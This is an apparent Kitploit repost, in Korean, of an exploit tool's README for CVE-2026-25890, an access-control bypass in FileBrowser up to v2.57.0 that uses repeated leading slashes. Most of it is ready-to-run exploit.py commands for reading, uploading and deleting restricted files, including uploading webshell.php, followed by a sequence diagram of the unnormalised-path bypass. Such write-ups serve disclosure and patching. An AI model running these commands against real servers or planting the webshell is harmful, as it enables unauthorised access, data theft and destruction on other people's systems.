CVE-2026-25890-FileBrowser-Access-Control-Bypass — CVE-2026-25890에 대한 익스플로잇으로, FileBrowser <= v2.57.0의 경로 기반 인증 우회 취약점으로, 인증된 낮은 권한의 사용자가 여러 개의 선행 슬래시를 통해 제한된 파일을 읽기, 업로드 및 삭제할 수 있게 합니다. | Kitploit

r.SkipClean(true)

# 저장소 클론
git clone https://github.com/banyamer/CVE-2026-25890-FileBrowser-Bypass.git
cd CVE-2026-25890-FileBrowser-Bypass

# 표준 라이브러리 + requests 외에는 의존성이 없습니다
pip install requests

# 제한된 파일 읽기
python3 exploit.py \
  --url http://192.168.1.50:8080 \
  --username bob \
  --password password123 \
  --path /private/secret.txt \
  --action read \
  --save leaked_secret.txt \
  --verbose

# 제한된 폴더에 악성 파일 업로드
python3 exploit.py \
  --url http://target:8080 \
  --username lowpriv \
  --password pass \
  --path /data/ \
  --action upload \
  --upload-file webshell.php \
  --slashes 3

# 제한된 파일 삭제
python3 exploit.py \
  --url http://10.10.10.123:80 \
  --username alice \
  --password secret \
  --path /backups/database.bak \
  --action delete \
  --slashes 4

sequenceDiagram
    participant Attacker
    participant FileBrowser ≤ v2.57.0
    participant Gorilla Mux Router
    participant Auth Middleware
    participant Filesystem Handler

    Attacker->>FileBrowser: GET /api/resources/private/secret.txt<br>(일반 요청)
    FileBrowser->>Gorilla Mux: Path = /api/resources/private/secret.txt
    Gorilla Mux->>Auth Middleware: path = "/private/secret.txt"
    Auth Middleware->>Auth Middleware: strings.HasPrefix("/private/secret.txt", disallowed="/private") → true
    Auth Middleware->>Attacker: 403 Forbidden

    Note over Attacker,FileBrowser: 공격자가 우회 시도

    Attacker->>FileBrowser: GET /api/resources//private/secret.txt
    FileBrowser->>Gorilla Mux: Path = /api/resources//private/secret.txt<br>(SkipClean=true → 정규화 없음)
    Gorilla Mux->>Auth Middleware: path = "//private/secret.txt"
    Auth Middleware->>Auth Middleware: HasPrefix("//private/secret.txt", "/private") → false
    Auth Middleware->>Filesystem Handler: 허용 → 진행
    Filesystem Handler->>Filesystem: // → /private/secret.txt 정규화
    Filesystem->>Filesystem Handler: 파일 콘텐츠 반환
    Filesystem Handler->>Attacker: 200 OK + 비밀 콘텐츠

CVE-2026-25890-FileBrowser-Access-Control-Bypass

인기

📦 기능

🛠️ 설치

🚀 사용법

기본 예제

📊 PoC 공격 흐름

⚠️ 법적 및 윤리적 고지

📜 참고 자료

❤️ 크레딧